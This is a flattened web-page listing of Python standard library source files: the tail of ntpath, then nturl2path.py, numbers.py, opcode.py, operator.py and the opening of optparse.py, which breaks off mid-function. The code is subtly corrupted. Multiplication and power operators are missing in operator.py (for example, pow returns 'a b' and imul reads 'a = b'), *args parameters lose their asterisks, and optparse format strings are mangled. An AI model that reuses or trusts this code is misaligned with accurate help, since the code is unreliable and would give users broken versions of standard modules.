s in split_paths] s1 = min(split_paths) s2 = max(split_paths) for i, c in enumerate(s1): if c != s2[i]: common = common[:i] break else: common = common[:len(s1)] prefix = drive + sep if isabs else drive return prefix + sep.join(common) except (TypeError, AttributeError): genericpath._check_arg_types('commonpath', paths) raise # determine if two files are in fact the same file try: # GetFinalPathNameByHandle is available starting with Windows 6.0. # Windows XP and non-Windows OS'es will mock _getfinalpathname. if sys.getwindowsversion()[:2] >= (6, 0): from nt import _getfinalpathname else: raise ImportError except (AttributeError, ImportError): # On Windows XP and earlier, two files are the same if their absolute # pathnames are the same. # Non-Windows operating systems fake this method with an XP # approximation. def _getfinalpathname(f): return normcase(abspath(f)) try: # The genericpath.isdir implementation uses os.stat and checks the mode # attribute to tell whether or not the path is a directory. # This is overkill on Windows - just pass the path to GetFileAttributes # and check the attribute from there. from nt import _isdir as isdir except ImportError: # Use genericpath.isdir as imported above. pass	21.82 KB	2024-04-17 17:55
📄 nturl2path.py """Convert a NT pathname to a file URL and vice versa. This module only exists to provide OS-specific code for urllib.requests, thus do not use directly. """ # Testing is done through test_urllib. def url2pathname(url): """OS-specific conversion from a relative URL of the 'file' scheme to a file system path; not recommended for general use.""" # e.g. # ///C\|/foo/bar/spam.foo # and # ///C:/foo/bar/spam.foo # become # C:\foo\bar\spam.foo import string, urllib.parse # Windows itself uses ":" even in URLs. url = url.replace(':', '\|') if not '\|' in url: # No drive specifier, just convert slashes if url[:4] == '////': # path is something like ////host/path/on/remote/host # convert this to \\host\path\on\remote\host # (notice halving of slashes at the start of the path) url = url[2:] components = url.split('/') # make sure not to convert quoted slashes :-) return urllib.parse.unquote('\\'.join(components)) comp = url.split('\|') if len(comp) != 2 or comp[0][-1] not in string.ascii_letters: error = 'Bad URL: ' + url raise OSError(error) drive = comp[0][-1].upper() components = comp[1].split('/') path = drive + ':' for comp in components: if comp: path = path + '\\' + urllib.parse.unquote(comp) # Issue #11474 - handing url such as \|c/\| if path.endswith(':') and url.endswith('/'): path += '\\' return path def pathname2url(p): """OS-specific conversion from a file system path to a relative URL of the 'file' scheme; not recommended for general use.""" # e.g. # C:\foo\bar\spam.foo # becomes # ///C:/foo/bar/spam.foo import urllib.parse if not ':' in p: # No drive specifier, just convert slashes and quote the name if p[:2] == '\\\\': # path is something like \\host\path\on\remote\host # convert this to ////host/path/on/remote/host # (notice doubling of slashes at the start of the path) p = '\\\\' + p components = p.split('\\') return urllib.parse.quote('/'.join(components)) comp = p.split(':') if len(comp) != 2 or len(comp[0]) > 1: error = 'Bad path: ' + p raise OSError(error) drive = urllib.parse.quote(comp[0].upper()) components = comp[1].split('\\') path = '///' + drive + ':' for comp in components: if comp: path = path + '/' + urllib.parse.quote(comp) return path	2.52 KB	2024-04-17 17:55
📄 numbers.py # Copyright 2007 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Abstract Base Classes (ABCs) for numbers, according to PEP 3141. TODO: Fill out more detailed documentation on the operators.""" from abc import ABCMeta, abstractmethod __all__ = ["Number", "Complex", "Real", "Rational", "Integral"] class Number(metaclass=ABCMeta): """All numbers inherit from this class. If you just want to check if an argument x is a number, without caring what kind, use isinstance(x, Number). """ __slots__ = () # Concrete numeric types must provide their own hash implementation __hash__ = None ## Notes on Decimal ## ---------------- ## Decimal has all of the methods specified by the Real abc, but it should ## not be registered as a Real because decimals do not interoperate with ## binary floats (i.e. Decimal('3.14') + 2.71828 is undefined). But, ## abstract reals are expected to interoperate (i.e. R1 + R2 should be ## expected to work if R1 and R2 are both Reals). class Complex(Number): """Complex defines the operations that work on the builtin complex type. In short, those are: a conversion to complex, .real, .imag, +, -, , /, abs(), .conjugate, ==, and !=. If it is given heterogeneous arguments, and doesn't have special knowledge about them, it should fall back to the builtin complex type as described below. """ __slots__ = () @abstractmethod def __complex__(self): """Return a builtin complex instance. Called for complex(self).""" def __bool__(self): """True if self != 0. Called for bool(self).""" return self != 0 @property @abstractmethod def real(self): """Retrieve the real component of this number. This should subclass Real. """ raise NotImplementedError @property @abstractmethod def imag(self): """Retrieve the imaginary component of this number. This should subclass Real. """ raise NotImplementedError @abstractmethod def __add__(self, other): """self + other""" raise NotImplementedError @abstractmethod def __radd__(self, other): """other + self""" raise NotImplementedError @abstractmethod def __neg__(self): """-self""" raise NotImplementedError @abstractmethod def __pos__(self): """+self""" raise NotImplementedError def __sub__(self, other): """self - other""" return self + -other def __rsub__(self, other): """other - self""" return -self + other @abstractmethod def __mul__(self, other): """self other""" raise NotImplementedError @abstractmethod def __rmul__(self, other): """other * self""" raise NotImplementedError @abstractmethod def __truediv__(self, other): """self / other: Should promote to float when necessary.""" raise NotImplementedError @abstractmethod def __rtruediv__(self, other): """other / self""" raise NotImplementedError @abstractmethod def __pow__(self, exponent): """selfexponent; should promote to float or complex when necessary.""" raise NotImplementedError @abstractmethod def __rpow__(self, base): """base self""" raise NotImplementedError @abstractmethod def __abs__(self): """Returns the Real distance from 0. Called for abs(self).""" raise NotImplementedError @abstractmethod def conjugate(self): """(x+yi).conjugate() returns (x-yi).""" raise NotImplementedError @abstractmethod def __eq__(self, other): """self == other""" raise NotImplementedError Complex.register(complex) class Real(Complex): """To Complex, Real adds the operations that work on real numbers. In short, those are: a conversion to float, trunc(), divmod, %, <, <=, >, and >=. Real also provides defaults for the derived operations. """ __slots__ = () @abstractmethod def __float__(self): """Any Real can be converted to a native float object. Called for float(self).""" raise NotImplementedError @abstractmethod def __trunc__(self): """trunc(self): Truncates self to an Integral. Returns an Integral i such that: * i>0 iff self>0; * abs(i) <= abs(self); * for any Integral j satisfying the first two conditions, abs(i) >= abs(j) [i.e. i has "maximal" abs among those]. i.e. "truncate towards 0". """ raise NotImplementedError @abstractmethod def __floor__(self): """Finds the greatest Integral <= self.""" raise NotImplementedError @abstractmethod def __ceil__(self): """Finds the least Integral >= self.""" raise NotImplementedError @abstractmethod def __round__(self, ndigits=None): """Rounds self to ndigits decimal places, defaulting to 0. If ndigits is omitted or None, returns an Integral, otherwise returns a Real. Rounds half toward even. """ raise NotImplementedError def __divmod__(self, other): """divmod(self, other): The pair (self // other, self % other). Sometimes this can be computed faster than the pair of operations. """ return (self // other, self % other) def __rdivmod__(self, other): """divmod(other, self): The pair (self // other, self % other). Sometimes this can be computed faster than the pair of operations. """ return (other // self, other % self) @abstractmethod def __floordiv__(self, other): """self // other: The floor() of self/other.""" raise NotImplementedError @abstractmethod def __rfloordiv__(self, other): """other // self: The floor() of other/self.""" raise NotImplementedError @abstractmethod def __mod__(self, other): """self % other""" raise NotImplementedError @abstractmethod def __rmod__(self, other): """other % self""" raise NotImplementedError @abstractmethod def __lt__(self, other): """self < other < on Reals defines a total ordering, except perhaps for NaN.""" raise NotImplementedError @abstractmethod def __le__(self, other): """self <= other""" raise NotImplementedError # Concrete implementations of Complex abstract methods. def __complex__(self): """complex(self) == complex(float(self), 0)""" return complex(float(self)) @property def real(self): """Real numbers are their real component.""" return +self @property def imag(self): """Real numbers have no imaginary component.""" return 0 def conjugate(self): """Conjugate is a no-op for Reals.""" return +self Real.register(float) class Rational(Real): """.numerator and .denominator should be in lowest terms.""" __slots__ = () @property @abstractmethod def numerator(self): raise NotImplementedError @property @abstractmethod def denominator(self): raise NotImplementedError # Concrete implementation of Real's conversion to float. def __float__(self): """float(self) = self.numerator / self.denominator It's important that this conversion use the integer's "true" division rather than casting one side to float before dividing so that ratios of huge integers convert without overflowing. """ return self.numerator / self.denominator class Integral(Rational): """Integral adds a conversion to int and the bit-string operations.""" __slots__ = () @abstractmethod def __int__(self): """int(self)""" raise NotImplementedError def __index__(self): """Called whenever an index is needed, such as in slicing""" return int(self) @abstractmethod def __pow__(self, exponent, modulus=None): """self ** exponent % modulus, but maybe faster. Accept the modulus argument if you want to support the 3-argument version of pow(). Raise a TypeError if exponent < 0 or any argument isn't Integral. Otherwise, just implement the 2-argument version described in Complex. """ raise NotImplementedError @abstractmethod def __lshift__(self, other): """self << other""" raise NotImplementedError @abstractmethod def __rlshift__(self, other): """other << self""" raise NotImplementedError @abstractmethod def __rshift__(self, other): """self >> other""" raise NotImplementedError @abstractmethod def __rrshift__(self, other): """other >> self""" raise NotImplementedError @abstractmethod def __and__(self, other): """self & other""" raise NotImplementedError @abstractmethod def __rand__(self, other): """other & self""" raise NotImplementedError @abstractmethod def __xor__(self, other): """self ^ other""" raise NotImplementedError @abstractmethod def __rxor__(self, other): """other ^ self""" raise NotImplementedError @abstractmethod def __or__(self, other): """self \| other""" raise NotImplementedError @abstractmethod def __ror__(self, other): """other \| self""" raise NotImplementedError @abstractmethod def __invert__(self): """~self""" raise NotImplementedError # Concrete implementations of Rational and Real abstract methods. def __float__(self): """float(self) == float(int(self))""" return float(int(self)) @property def numerator(self): """Integers are their own numerators.""" return +self @property def denominator(self): """Integers have a denominator of 1.""" return 1 Integral.register(int)	10 KB	2024-04-17 17:55
📄 opcode.py """ opcode module - potentially shared between dis and other modules which operate on bytecodes (e.g. peephole optimizers). """ __all__ = ["cmp_op", "hasconst", "hasname", "hasjrel", "hasjabs", "haslocal", "hascompare", "hasfree", "opname", "opmap", "HAVE_ARGUMENT", "EXTENDED_ARG", "hasnargs"] # It's a chicken-and-egg I'm afraid: # We're imported before _opcode's made. # With exception unheeded # (stack_effect is not needed) # Both our chickens and eggs are allayed. # --Larry Hastings, 2013/11/23 try: from _opcode import stack_effect __all__.append('stack_effect') except ImportError: pass cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is', 'is not', 'exception match', 'BAD') hasconst = [] hasname = [] hasjrel = [] hasjabs = [] haslocal = [] hascompare = [] hasfree = [] hasnargs = [] # unused opmap = {} opname = ['<%r>' % (op,) for op in range(256)] def def_op(name, op): opname[op] = name opmap[name] = op def name_op(name, op): def_op(name, op) hasname.append(op) def jrel_op(name, op): def_op(name, op) hasjrel.append(op) def jabs_op(name, op): def_op(name, op) hasjabs.append(op) # Instruction opcodes for compiled code # Blank lines correspond to available opcodes def_op('POP_TOP', 1) def_op('ROT_TWO', 2) def_op('ROT_THREE', 3) def_op('DUP_TOP', 4) def_op('DUP_TOP_TWO', 5) def_op('NOP', 9) def_op('UNARY_POSITIVE', 10) def_op('UNARY_NEGATIVE', 11) def_op('UNARY_NOT', 12) def_op('UNARY_INVERT', 15) def_op('BINARY_MATRIX_MULTIPLY', 16) def_op('INPLACE_MATRIX_MULTIPLY', 17) def_op('BINARY_POWER', 19) def_op('BINARY_MULTIPLY', 20) def_op('BINARY_MODULO', 22) def_op('BINARY_ADD', 23) def_op('BINARY_SUBTRACT', 24) def_op('BINARY_SUBSCR', 25) def_op('BINARY_FLOOR_DIVIDE', 26) def_op('BINARY_TRUE_DIVIDE', 27) def_op('INPLACE_FLOOR_DIVIDE', 28) def_op('INPLACE_TRUE_DIVIDE', 29) def_op('GET_AITER', 50) def_op('GET_ANEXT', 51) def_op('BEFORE_ASYNC_WITH', 52) def_op('INPLACE_ADD', 55) def_op('INPLACE_SUBTRACT', 56) def_op('INPLACE_MULTIPLY', 57) def_op('INPLACE_MODULO', 59) def_op('STORE_SUBSCR', 60) def_op('DELETE_SUBSCR', 61) def_op('BINARY_LSHIFT', 62) def_op('BINARY_RSHIFT', 63) def_op('BINARY_AND', 64) def_op('BINARY_XOR', 65) def_op('BINARY_OR', 66) def_op('INPLACE_POWER', 67) def_op('GET_ITER', 68) def_op('GET_YIELD_FROM_ITER', 69) def_op('PRINT_EXPR', 70) def_op('LOAD_BUILD_CLASS', 71) def_op('YIELD_FROM', 72) def_op('GET_AWAITABLE', 73) def_op('INPLACE_LSHIFT', 75) def_op('INPLACE_RSHIFT', 76) def_op('INPLACE_AND', 77) def_op('INPLACE_XOR', 78) def_op('INPLACE_OR', 79) def_op('BREAK_LOOP', 80) def_op('WITH_CLEANUP_START', 81) def_op('WITH_CLEANUP_FINISH', 82) def_op('RETURN_VALUE', 83) def_op('IMPORT_STAR', 84) def_op('SETUP_ANNOTATIONS', 85) def_op('YIELD_VALUE', 86) def_op('POP_BLOCK', 87) def_op('END_FINALLY', 88) def_op('POP_EXCEPT', 89) HAVE_ARGUMENT = 90 # Opcodes from here have an argument: name_op('STORE_NAME', 90) # Index in name list name_op('DELETE_NAME', 91) # "" def_op('UNPACK_SEQUENCE', 92) # Number of tuple items jrel_op('FOR_ITER', 93) def_op('UNPACK_EX', 94) name_op('STORE_ATTR', 95) # Index in name list name_op('DELETE_ATTR', 96) # "" name_op('STORE_GLOBAL', 97) # "" name_op('DELETE_GLOBAL', 98) # "" def_op('LOAD_CONST', 100) # Index in const list hasconst.append(100) name_op('LOAD_NAME', 101) # Index in name list def_op('BUILD_TUPLE', 102) # Number of tuple items def_op('BUILD_LIST', 103) # Number of list items def_op('BUILD_SET', 104) # Number of set items def_op('BUILD_MAP', 105) # Number of dict entries name_op('LOAD_ATTR', 106) # Index in name list def_op('COMPARE_OP', 107) # Comparison operator hascompare.append(107) name_op('IMPORT_NAME', 108) # Index in name list name_op('IMPORT_FROM', 109) # Index in name list jrel_op('JUMP_FORWARD', 110) # Number of bytes to skip jabs_op('JUMP_IF_FALSE_OR_POP', 111) # Target byte offset from beginning of code jabs_op('JUMP_IF_TRUE_OR_POP', 112) # "" jabs_op('JUMP_ABSOLUTE', 113) # "" jabs_op('POP_JUMP_IF_FALSE', 114) # "" jabs_op('POP_JUMP_IF_TRUE', 115) # "" name_op('LOAD_GLOBAL', 116) # Index in name list jabs_op('CONTINUE_LOOP', 119) # Target address jrel_op('SETUP_LOOP', 120) # Distance to target address jrel_op('SETUP_EXCEPT', 121) # "" jrel_op('SETUP_FINALLY', 122) # "" def_op('LOAD_FAST', 124) # Local variable number haslocal.append(124) def_op('STORE_FAST', 125) # Local variable number haslocal.append(125) def_op('DELETE_FAST', 126) # Local variable number haslocal.append(126) def_op('RAISE_VARARGS', 130) # Number of raise arguments (1, 2, or 3) def_op('CALL_FUNCTION', 131) # #args def_op('MAKE_FUNCTION', 132) # Flags def_op('BUILD_SLICE', 133) # Number of items def_op('LOAD_CLOSURE', 135) hasfree.append(135) def_op('LOAD_DEREF', 136) hasfree.append(136) def_op('STORE_DEREF', 137) hasfree.append(137) def_op('DELETE_DEREF', 138) hasfree.append(138) def_op('CALL_FUNCTION_KW', 141) # #args + #kwargs def_op('CALL_FUNCTION_EX', 142) # Flags jrel_op('SETUP_WITH', 143) def_op('LIST_APPEND', 145) def_op('SET_ADD', 146) def_op('MAP_ADD', 147) def_op('LOAD_CLASSDEREF', 148) hasfree.append(148) def_op('EXTENDED_ARG', 144) EXTENDED_ARG = 144 def_op('BUILD_LIST_UNPACK', 149) def_op('BUILD_MAP_UNPACK', 150) def_op('BUILD_MAP_UNPACK_WITH_CALL', 151) def_op('BUILD_TUPLE_UNPACK', 152) def_op('BUILD_SET_UNPACK', 153) jrel_op('SETUP_ASYNC_WITH', 154) def_op('FORMAT_VALUE', 155) def_op('BUILD_CONST_KEY_MAP', 156) def_op('BUILD_STRING', 157) def_op('BUILD_TUPLE_UNPACK_WITH_CALL', 158) name_op('LOAD_METHOD', 160) def_op('CALL_METHOD', 161) del def_op, name_op, jrel_op, jabs_op	5.69 KB	2024-04-17 17:55
📄 operator.py """ Operator Interface This module exports a set of functions corresponding to the intrinsic operators of Python. For example, operator.add(x, y) is equivalent to the expression x+y. The function names are those used for special methods; variants without leading and trailing '__' are also provided for convenience. This is the pure Python implementation of the module. """ __all__ = ['abs', 'add', 'and_', 'attrgetter', 'concat', 'contains', 'countOf', 'delitem', 'eq', 'floordiv', 'ge', 'getitem', 'gt', 'iadd', 'iand', 'iconcat', 'ifloordiv', 'ilshift', 'imatmul', 'imod', 'imul', 'index', 'indexOf', 'inv', 'invert', 'ior', 'ipow', 'irshift', 'is_', 'is_not', 'isub', 'itemgetter', 'itruediv', 'ixor', 'le', 'length_hint', 'lshift', 'lt', 'matmul', 'methodcaller', 'mod', 'mul', 'ne', 'neg', 'not_', 'or_', 'pos', 'pow', 'rshift', 'setitem', 'sub', 'truediv', 'truth', 'xor'] from builtins import abs as _abs # Comparison Operations *****************************************************# def lt(a, b): "Same as a < b." return a < b def le(a, b): "Same as a <= b." return a <= b def eq(a, b): "Same as a == b." return a == b def ne(a, b): "Same as a != b." return a != b def ge(a, b): "Same as a >= b." return a >= b def gt(a, b): "Same as a > b." return a > b # Logical Operations ******************************************************# def not_(a): "Same as not a." return not a def truth(a): "Return True if a is true, False otherwise." return True if a else False def is_(a, b): "Same as a is b." return a is b def is_not(a, b): "Same as a is not b." return a is not b # Mathematical/Bitwise Operations ******************************************# def abs(a): "Same as abs(a)." return _abs(a) def add(a, b): "Same as a + b." return a + b def and_(a, b): "Same as a & b." return a & b def floordiv(a, b): "Same as a // b." return a // b def index(a): "Same as a.__index__()." return a.__index__() def inv(a): "Same as ~a." return ~a invert = inv def lshift(a, b): "Same as a << b." return a << b def mod(a, b): "Same as a % b." return a % b def mul(a, b): "Same as a b." return a * b def matmul(a, b): "Same as a @ b." return a @ b def neg(a): "Same as -a." return -a def or_(a, b): "Same as a \| b." return a \| b def pos(a): "Same as +a." return +a def pow(a, b): "Same as a b." return a b def rshift(a, b): "Same as a >> b." return a >> b def sub(a, b): "Same as a - b." return a - b def truediv(a, b): "Same as a / b." return a / b def xor(a, b): "Same as a ^ b." return a ^ b # Sequence Operations *******************************************************# def concat(a, b): "Same as a + b, for a and b sequences." if not hasattr(a, '__getitem__'): msg = "'%s' object can't be concatenated" % type(a).__name__ raise TypeError(msg) return a + b def contains(a, b): "Same as b in a (note reversed operands)." return b in a def countOf(a, b): "Return the number of times b occurs in a." count = 0 for i in a: if i == b: count += 1 return count def delitem(a, b): "Same as del a[b]." del a[b] def getitem(a, b): "Same as a[b]." return a[b] def indexOf(a, b): "Return the first index of b in a." for i, j in enumerate(a): if j == b: return i else: raise ValueError('sequence.index(x): x not in sequence') def setitem(a, b, c): "Same as a[b] = c." a[b] = c def length_hint(obj, default=0): """ Return an estimate of the number of items in obj. This is useful for presizing containers when building from an iterable. If the object supports len(), the result will be exact. Otherwise, it may over- or under-estimate by an arbitrary amount. The result will be an integer >= 0. """ if not isinstance(default, int): msg = ("'%s' object cannot be interpreted as an integer" % type(default).__name__) raise TypeError(msg) try: return len(obj) except TypeError: pass try: hint = type(obj).__length_hint__ except AttributeError: return default try: val = hint(obj) except TypeError: return default if val is NotImplemented: return default if not isinstance(val, int): msg = ('__length_hint__ must be integer, not %s' % type(val).__name__) raise TypeError(msg) if val < 0: msg = '__length_hint__() should return >= 0' raise ValueError(msg) return val # Generalized Lookup Objects ***********************************************# class attrgetter: """ Return a callable object that fetches the given attribute(s) from its operand. After f = attrgetter('name'), the call f(r) returns r.name. After g = attrgetter('name', 'date'), the call g(r) returns (r.name, r.date). After h = attrgetter('name.first', 'name.last'), the call h(r) returns (r.name.first, r.name.last). """ __slots__ = ('_attrs', '_call') def __init__(self, attr, attrs): if not attrs: if not isinstance(attr, str): raise TypeError('attribute name must be a string') self._attrs = (attr,) names = attr.split('.') def func(obj): for name in names: obj = getattr(obj, name) return obj self._call = func else: self._attrs = (attr,) + attrs getters = tuple(map(attrgetter, self._attrs)) def func(obj): return tuple(getter(obj) for getter in getters) self._call = func def __call__(self, obj): return self._call(obj) def __repr__(self): return '%s.%s(%s)' % (self.__class__.__module__, self.__class__.__qualname__, ', '.join(map(repr, self._attrs))) def __reduce__(self): return self.__class__, self._attrs class itemgetter: """ Return a callable object that fetches the given item(s) from its operand. After f = itemgetter(2), the call f(r) returns r[2]. After g = itemgetter(2, 5, 3), the call g(r) returns (r[2], r[5], r[3]) """ __slots__ = ('_items', '_call') def __init__(self, item, items): if not items: self._items = (item,) def func(obj): return obj[item] self._call = func else: self._items = items = (item,) + items def func(obj): return tuple(obj[i] for i in items) self._call = func def __call__(self, obj): return self._call(obj) def __repr__(self): return '%s.%s(%s)' % (self.__class__.__module__, self.__class__.__name__, ', '.join(map(repr, self._items))) def __reduce__(self): return self.__class__, self._items class methodcaller: """ Return a callable object that calls the given method on its operand. After f = methodcaller('name'), the call f(r) returns r.name(). After g = methodcaller('name', 'date', foo=1), the call g(r) returns r.name('date', foo=1). """ __slots__ = ('_name', '_args', '_kwargs') def __init__(args, *kwargs): if len(args) < 2: msg = "methodcaller needs at least one argument, the method name" raise TypeError(msg) self = args[0] self._name = args[1] if not isinstance(self._name, str): raise TypeError('method name must be a string') self._args = args[2:] self._kwargs = kwargs def __call__(self, obj): return getattr(obj, self._name)(self._args, self._kwargs) def __repr__(self): args = [repr(self._name)] args.extend(map(repr, self._args)) args.extend('%s=%r' % (k, v) for k, v in self._kwargs.items()) return '%s.%s(%s)' % (self.__class__.__module__, self.__class__.__name__, ', '.join(args)) def __reduce__(self): if not self._kwargs: return self.__class__, (self._name,) + self._args else: from functools import partial return partial(self.__class__, self._name, self._kwargs), self._args # In-place Operations ********************************************************# def iadd(a, b): "Same as a += b." a += b return a def iand(a, b): "Same as a &= b." a &= b return a def iconcat(a, b): "Same as a += b, for a and b sequences." if not hasattr(a, '__getitem__'): msg = "'%s' object can't be concatenated" % type(a).__name__ raise TypeError(msg) a += b return a def ifloordiv(a, b): "Same as a //= b." a //= b return a def ilshift(a, b): "Same as a <<= b." a <<= b return a def imod(a, b): "Same as a %= b." a %= b return a def imul(a, b): "Same as a = b." a = b return a def imatmul(a, b): "Same as a @= b." a @= b return a def ior(a, b): "Same as a \|= b." a \|= b return a def ipow(a, b): "Same as a = b." a =b return a def irshift(a, b): "Same as a >>= b." a >>= b return a def isub(a, b): "Same as a -= b." a -= b return a def itruediv(a, b): "Same as a /= b." a /= b return a def ixor(a, b): "Same as a ^= b." a ^= b return a try: from _operator import except ImportError: pass else: from _operator import __doc__ # All of these "__func__ = func" assignments have to happen after importing # from _operator to make sure they're set to the right function __lt__ = lt __le__ = le __eq__ = eq __ne__ = ne __ge__ = ge __gt__ = gt __not__ = not_ __abs__ = abs __add__ = add __and__ = and_ __floordiv__ = floordiv __index__ = index __inv__ = inv __invert__ = invert __lshift__ = lshift __mod__ = mod __mul__ = mul __matmul__ = matmul __neg__ = neg __or__ = or_ __pos__ = pos __pow__ = pow __rshift__ = rshift __sub__ = sub __truediv__ = truediv __xor__ = xor __concat__ = concat __contains__ = contains __delitem__ = delitem __getitem__ = getitem __setitem__ = setitem __iadd__ = iadd __iand__ = iand __iconcat__ = iconcat __ifloordiv__ = ifloordiv __ilshift__ = ilshift __imod__ = imod __imul__ = imul __imatmul__ = imatmul __ior__ = ior __ipow__ = ipow __irshift__ = irshift __isub__ = isub __itruediv__ = itruediv __ixor__ = ixor	10.61 KB	2024-04-17 17:55
📄 optparse.py """A powerful, extensible, and easy-to-use option parser. By Greg Ward <gward@python.net> Originally distributed as Optik. For support, use the optik-users@lists.sourceforge.net mailing list (http://lists.sourceforge.net/lists/listinfo/optik-users). Simple usage example: from optparse import OptionParser parser = OptionParser() parser.add_option("-f", "--file", dest="filename", help="write report to FILE", metavar="FILE") parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout") (options, args) = parser.parse_args() """ __version__ = "1.5.3" __all__ = ['Option', 'make_option', 'SUPPRESS_HELP', 'SUPPRESS_USAGE', 'Values', 'OptionContainer', 'OptionGroup', 'OptionParser', 'HelpFormatter', 'IndentedHelpFormatter', 'TitledHelpFormatter', 'OptParseError', 'OptionError', 'OptionConflictError', 'OptionValueError', 'BadOptionError', 'check_choice'] __copyright__ = """ Copyright (c) 2001-2006 Gregory P. Ward. All rights reserved. Copyright (c) 2002-2006 Python Software Foundation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import sys, os import textwrap def _repr(self): return "<%s at 0x%x: %s>" % (self.__class__.__name__, id(self), self) # This file was generated from: # Id: option_parser.py 527 2006-07-23 15:21:30Z greg # Id: option.py 522 2006-06-11 16:22:03Z gward # Id: help.py 527 2006-07-23 15:21:30Z greg # Id: errors.py 509 2006-04-20 00:58:24Z gward try: from gettext import gettext, ngettext except ImportError: def gettext(message): return message def ngettext(singular, plural, n): if n == 1: return singular return plural _ = gettext class OptParseError (Exception): def __init__(self, msg): self.msg = msg def __str__(self): return self.msg class OptionError (OptParseError): """ Raised if an Option instance is created with invalid or inconsistent arguments. """ def __init__(self, msg, option): self.msg = msg self.option_id = str(option) def __str__(self): if self.option_id: return "option %s: %s" % (self.option_id, self.msg) else: return self.msg class OptionConflictError (OptionError): """ Raised if conflicting options are added to an OptionParser. """ class OptionValueError (OptParseError): """ Raised if an invalid option value is encountered on the command line. """ class BadOptionError (OptParseError): """ Raised if an invalid option is seen on the command line. """ def __init__(self, opt_str): self.opt_str = opt_str def __str__(self): return _("no such option: %s") % self.opt_str class AmbiguousOptionError (BadOptionError): """ Raised if an ambiguous option is seen on the command line. """ def __init__(self, opt_str, possibilities): BadOptionError.__init__(self, opt_str) self.possibilities = possibilities def __str__(self): return (_("ambiguous option: %s (%s?)") % (self.opt_str, ", ".join(self.possibilities))) class HelpFormatter: """ Abstract base class for formatting option help. OptionParser instances should use one of the HelpFormatter subclasses for formatting help; by default IndentedHelpFormatter is used. Instance attributes: parser : OptionParser the controlling OptionParser instance indent_increment : int the number of columns to indent per nesting level max_help_position : int the maximum starting column for option help text help_position : int the calculated starting column for option help text; initially the same as the maximum width : int total number of columns for output (pass None to constructor for this value to be taken from the $COLUMNS environment variable) level : int current indentation level current_indent : int current indentation level (in columns) help_width : int number of columns available for option help text (calculated) default_tag : str text to replace with each option's default value, "%default" by default. Set to false value to disable default value expansion. option_strings : { Option : str } maps Option instances to the snippet of help text explaining the syntax of that option, e.g. "-h, --help" or "-fFILE, --file=FILE" _short_opt_fmt : str format string controlling how short options with values are printed in help text. Must be either "%s%s" ("-fFILE") or "%s %s" ("-f FILE"), because those are the two syntaxes that Optik supports. _long_opt_fmt : str similar but for long options; must be either "%s %s" ("--file FILE") or "%s=%s" ("--file=FILE"). """ NO_DEFAULT_VALUE = "none" def __init__(self, indent_increment, max_help_position, width, short_first): self.parser = None self.indent_increment = indent_increment if width is None: try: width = int(os.environ['COLUMNS']) except (KeyError, ValueError): width = 80 width -= 2 self.width = width self.help_position = self.max_help_position = \ min(max_help_position, max(width - 20, indent_increment * 2)) self.current_indent = 0 self.level = 0 self.help_width = None # computed later self.short_first = short_first self.default_tag = "%default" self.option_strings = {} self._short_opt_fmt = "%s %s" self._long_opt_fmt = "%s=%s" def set_parser(self, parser): self.parser = parser def set_short_opt_delimiter(self, delim): if delim not in ("", " "): raise ValueError( "invalid metavar delimiter for short options: %r" % delim) self._short_opt_fmt = "%s" + delim + "%s" def set_long_opt_delimiter(self, delim): if delim not in ("=", " "): raise ValueError( "invalid metavar delimiter for long options: %r" % delim) self._long_opt_fmt = "%s" + delim + "%s" def indent(self): self.current_indent += self.indent_increment self.level += 1 def dedent(self): self.current_indent -= self.indent_increment assert self.current_indent >= 0, "Indent decreased below 0." self.level -= 1 def format_usage(self, usage): raise NotImplementedError("subclasses must implement") def format_heading(self, heading): raise NotImplementedError("subclasses must implement") def _format_text(self, text): """ Format a paragraph of free-form text for inclusion in the help output at the current indentation level. """ text_width = max(self.width - self.current_indent, 11) indent = " "self.current_indent return textwrap.fill(text, text_width, initial_indent=indent, subsequent_indent=indent) def format_description(self, description): if description: return self._format_text(description) + "\n" else: return "" def format_epilog(self, epilog): if epilog: return "\n" + self._format_text(epilog) + "\n" else: return "" def expand_default(self, option): if self.parser is None or not self.default_tag: return option.help default_value = self.parser.defaults.get(option.dest) if default_value is NO_DEFAULT or default_value is None: default_value = self.NO_DEFAULT_VALUE return option.help.replace(self.default_tag, str(default_value)) def format_option(self, option): # The help for each option consists of two parts: # the opt strings and metavars # eg. ("-x", or "-fFILENAME, --file=FILENAME") # * the user-supplied help string # eg. ("turn on expert mode", "read data from FILENAME") # # If possible, we write both of these on the same line: # -x turn on expert mode # # But if the opt string list is too long, we put the help # string on a second line, indented to the same column it would # start in if it fit on the first line. # -fFILENAME, --file=FILENAME # read data from FILENAME result = [] opts = self.option_strings[option] opt_width = self.help_position - self.current_indent - 2 if len(opts) > opt_width: opts = "%s%s\n" % (self.current_indent, "", opts) indent_first = self.help_position else: # start help on same line as opts opts = "%s%-s " % (self.current_indent, "", opt_width, opts) indent_first = 0 result.append(opts) if option.help: help_text = self.expand_default(option) help_lines = textwrap.wrap(help_text, self.help_width) result.append("%s%s\n" % (indent_first, "", help_lines[0])) result.extend(["%s%s\n" % 